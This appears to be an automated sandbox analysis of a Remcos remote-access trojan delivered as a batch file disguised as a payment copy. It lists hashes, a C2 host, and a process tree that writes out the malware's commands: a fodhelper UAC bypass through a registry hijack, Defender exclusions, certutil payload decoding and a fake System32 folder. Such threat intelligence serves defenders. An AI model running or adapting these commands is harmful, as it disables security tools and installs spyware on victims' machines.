Analysis

  • max time kernel
    151s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-03-2024 09:27

General

  • Target

    Returned Swift Copy of Payment #475479.bat

  • Size

    3.6MB

  • MD5

    5945cfcd43c1e5ad2584256fcf3df2ee

  • SHA1

    f17e2352b5b6b38ca6521b2ac94ff5bfda499b5c

  • SHA256

    343665542b93d75bd0baa4cfb354211d938dd6df30be590451ef8534d17cebdd

  • SHA512

    f6c1e90a8251d3228d7c657f93ec8c162b818638d6ae6b2f2839a5a39be2d11944533b9387e33725bd1f267a92c0a3947b6c965484864055477a27b5fafa93de

  • SSDEEP

    49152:wPpmq12RxHW9ub71aMBQweyrLLX+5Z4yPLyiTvCuP8s7JaqD:6

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

jaztc.duckdns.org:1808

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    sfsfdrgrre

  • mouse_option

    false

  • mutex

    Rmc-AJ5P19

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • ModiLoader Second Stage 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 26 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Returned Swift Copy of Payment #475479.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2080
    • C:\Windows\system32\cmd.exe
      cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3336
      • C:\Windows\system32\extrac32.exe
        extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
        3⤵
          PID:3372
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3400
        • C:\Windows\system32\extrac32.exe
          extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
          3⤵
            PID:4760
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4680
          • C:\Windows\system32\extrac32.exe
            extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            3⤵
              PID:2128
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1908
            • C:\Users\Public\xkn.exe
              C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
              3⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3412
              • C:\Users\Public\alpha.exe
                "C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3684
                • C:\Windows\system32\reg.exe
                  reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                  5⤵
                  • Modifies registry class
                  • Modifies registry key
                  PID:2268
              • C:\Windows\system32\fodhelper.exe
                "C:\Windows\system32\fodhelper.exe"
                4⤵
                  PID:4540
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Returned Swift Copy of Payment #475479.bat" "C:\\Users\\Public\\Lewxa.txt" 9
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3940
              • C:\Users\Public\kn.exe
                C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Returned Swift Copy of Payment #475479.bat" "C:\\Users\\Public\\Lewxa.txt" 9
                3⤵
                • Executes dropped EXE
                PID:2052
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3800
              • C:\Users\Public\kn.exe
                C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
                3⤵
                • Executes dropped EXE
                PID:1612
            • C:\Users\Public\Libraries\Lewxa.com
              C:\\Users\\Public\\Libraries\\Lewxa.com
              2⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:1816
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c mkdir "\\?\C:\Windows "
                3⤵
                  PID:2120
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c mkdir "\\?\C:\Windows \System32"
                  3⤵
                    PID:1680
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c "C:\Windows \System32\2280415.exe"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2580
                    • C:\Windows \System32\2280415.exe
                      "C:\Windows \System32\2280415.exe"
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of WriteProcessMemory
                      PID:1976
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                        5⤵
                          PID:3308
                          • C:\Windows\system32\cmd.exe
                            cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                            6⤵
                              PID:1792
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                                7⤵
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2820
                      • C:\Windows\SysWOW64\extrac32.exe
                        C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Cqufnmop.PIF
                        3⤵
                          PID:3736
                        • C:\Windows\SysWOW64\colorcpl.exe
                          C:\Windows\System32\colorcpl.exe
                          3⤵
                          • Suspicious use of SetWindowsHookEx
                          PID:4564
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S
                        2⤵
                        • Executes dropped EXE
                        PID:3928
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S
                        2⤵
                        • Executes dropped EXE
                        PID:4292
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
                        2⤵
                        • Executes dropped EXE
                        PID:4876
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
                        2⤵
                        • Executes dropped EXE
                        PID:3396
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                        2⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:4440
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettings.exe
                          3⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4272
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                        2⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:2468
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettingsAdminFlows.exe
                          3⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4076
                      • C:\Windows\system32\cmd.exe
                        cmd /c del "C:\Users\Public\alpha.exe" / A / F / Q / S
                        2⤵
                          PID:4012
                      • C:\Windows\system32\SystemSettingsAdminFlows.exe
                        "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                        1⤵
                          PID:4500

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\ProgramData\sfsfdrgrre\logs.dat

                          Filesize

                          144B

                          MD5

                          f96a9f7b131f0c060a8436244cc979cd

                          SHA1

                          0ebf6691d5b4a7b0b8c68ae352f2fc9d90d7f0c3

                          SHA256

                          86eb6258bd5a0b3e1b521da40270ee409d9fb97575b51e5a08374ff0ba1c1759

                          SHA512

                          500de80421d5adde6898a425792f17a031d35234fe85d18a66abd2f7860e028ba6dbab6fbe3299091519314efb38b732f036c2d91eef8bb889f5d189359f8d6f

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                          Filesize

                          64B

                          MD5

                          5caad758326454b5788ec35315c4c304

                          SHA1

                          3aef8dba8042662a7fcf97e51047dc636b4d4724

                          SHA256

                          83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

                          SHA512

                          4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ei5chmoa.g03.ps1

                          Filesize

                          60B

                          MD5

                          d17fe0a3f47be24a6453e9ef58c94641

                          SHA1

                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                          SHA256

                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                          SHA512

                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                        • C:\Users\Public\Lewxa.txt

                          Filesize

                          2.6MB

                          MD5

                          2505aa8491f7cd38b0f9ee677382dc57

                          SHA1

                          7b14c3f9e474c39f0a048564117d7c8b563cfc9c

                          SHA256

                          ac3527ffe8c821a7a1a6109c744ed757d487ed889095cb711ba05284c8103ca0

                          SHA512

                          dd93fd4fe026e6068cfa59118e6ad786a2fe5b8fed4c89e736f1548de1addced89c113112abb931d40f011412f38f02a4eb816b07a52e8650c0b074b95092dff

                        • C:\Users\Public\Libraries\Lewxa.com

                          Filesize

                          1.3MB

                          MD5

                          3b2419157cf254333db7f50985f8f4e4

                          SHA1

                          28aa224aa84c1f923ee9d3da39ed1d17106a618d

                          SHA256

                          c6333397bd9dcd30af54188ab735a51bb8c367a06b54a7ba4a74f8c7cc0a9aa3

                          SHA512

                          2a708f5bb7deb6d39764d73feb443d92874543e3cc5f218d5568054f7589bff1749e2b815dbe8997c9dbed25d9d2396bccae17f098dc29babfca4f83686c8f85

                        • C:\Users\Public\alpha.exe

                          Filesize

                          283KB

                          MD5

                          8a2122e8162dbef04694b9c3e0b6cdee

                          SHA1

                          f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                          SHA256

                          b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                          SHA512

                          99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                        • C:\Users\Public\kn.exe

                          Filesize

                          1.6MB

                          MD5

                          bd8d9943a9b1def98eb83e0fa48796c2

                          SHA1

                          70e89852f023ab7cde0173eda1208dbb580f1e4f

                          SHA256

                          8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                          SHA512

                          95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

                        • C:\Users\Public\kn.exe

                          Filesize

                          832KB

                          MD5

                          c8045f7166c5d868fdd3233474d084d6

                          SHA1

                          888c515d4c98f7c43994e452b9499743f6f2c23d

                          SHA256

                          a0a0f0a625d4f31e321300b60953399f62766e173639b67d379a7cc75f9b7c9e

                          SHA512

                          ca03664c030d983d81e42ebf6f326b1fa9a3507bb332f5becf70807f451c83483dac98a0992cd58b43a35e4cec540718074beeef004c83b88157504bc9aae92b

                        • C:\Users\Public\xkn.exe

                          Filesize

                          442KB

                          MD5

                          04029e121a0cfa5991749937dd22a1d9

                          SHA1

                          f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                          SHA256

                          9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                          SHA512

                          6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                        • C:\Windows \System32\2280415.exe

                          Filesize

                          128KB

                          MD5

                          231ce1e1d7d98b44371ffff407d68b59

                          SHA1

                          25510d0f6353dbf0c9f72fc880de7585e34b28ff

                          SHA256

                          30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

                          SHA512

                          520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

                        • C:\Windows \System32\netutils.dll

                          Filesize

                          112KB

                          MD5

                          fa7aa88417d0c48807144a1a48fe3fbc

                          SHA1

                          6f5ec990b12d4a6075050a94e0d68d03781fa46d

                          SHA256

                          2019dcd18ba7d5554a4a9da882740aa883941670af3de9396960081a0f8aa098

                          SHA512

                          99b2eb6f8e7d00a3803cba229149e5e0cb67a3deb607782c55fbacd25d9c074cce83759de15490eff939d5ad98f26cdbd44395cc79ffe22753e16c3d9e3b5fff

                        • C:\windows \system32\KDECO.bat

                          Filesize

                          11KB

                          MD5

                          c545650595b479c81ad6b9d8882aae39

                          SHA1

                          7a98aa2e6eee23b3c1bba876955d525bc618b3f0

                          SHA256

                          a3a80983cb33159f0455fa0135789402558baa1460db94d0071318512b8cb5f9

                          SHA512

                          85ac596a7da9072a28c4178e4fdedc98f1b49c8e3fe5612cfe464833297b13f65d2dc59b52d7fc9970cff8f98d954111229aec0ed9dded454e03b0cf4ebb6ff3

                        • memory/1816-55-0x0000000002490000-0x0000000002491000-memory.dmp

                          Filesize

                          4KB

                        • memory/1816-57-0x0000000004210000-0x0000000005210000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1816-58-0x0000000004210000-0x0000000005210000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1816-60-0x0000000000400000-0x0000000000551000-memory.dmp

                          Filesize

                          1.3MB

                        • memory/1816-87-0x0000000002490000-0x0000000002491000-memory.dmp

                          Filesize

                          4KB

                        • memory/1976-71-0x00000000613C0000-0x00000000613E3000-memory.dmp

                          Filesize

                          140KB

                        • memory/2820-88-0x000002757A810000-0x000002757A820000-memory.dmp

                          Filesize

                          64KB

                        • memory/2820-85-0x000002757A810000-0x000002757A820000-memory.dmp

                          Filesize

                          64KB

                        • memory/2820-91-0x00007FF881DD0000-0x00007FF882891000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/2820-73-0x00007FF881DD0000-0x00007FF882891000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/2820-74-0x000002757A810000-0x000002757A820000-memory.dmp

                          Filesize

                          64KB

                        • memory/3412-26-0x0000018C56990000-0x0000018C569B2000-memory.dmp

                          Filesize

                          136KB

                        • memory/3412-27-0x00007FF883780000-0x00007FF884241000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/3412-32-0x0000018C56A20000-0x0000018C56A30000-memory.dmp

                          Filesize

                          64KB

                        • memory/3412-35-0x00007FF883780000-0x00007FF884241000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/3412-28-0x0000018C56A20000-0x0000018C56A30000-memory.dmp

                          Filesize

                          64KB

                        • memory/3412-29-0x0000018C56A20000-0x0000018C56A30000-memory.dmp

                          Filesize

                          64KB

                        • memory/4564-102-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/4564-108-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/4564-101-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/4564-99-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/4564-103-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/4564-104-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/4564-107-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/4564-100-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/4564-97-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/4564-115-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/4564-116-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/4564-123-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/4564-124-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/4564-131-0x0000000000C00000-0x0000000001C00000-memory.dmp

                          Filesize

                          16.0MB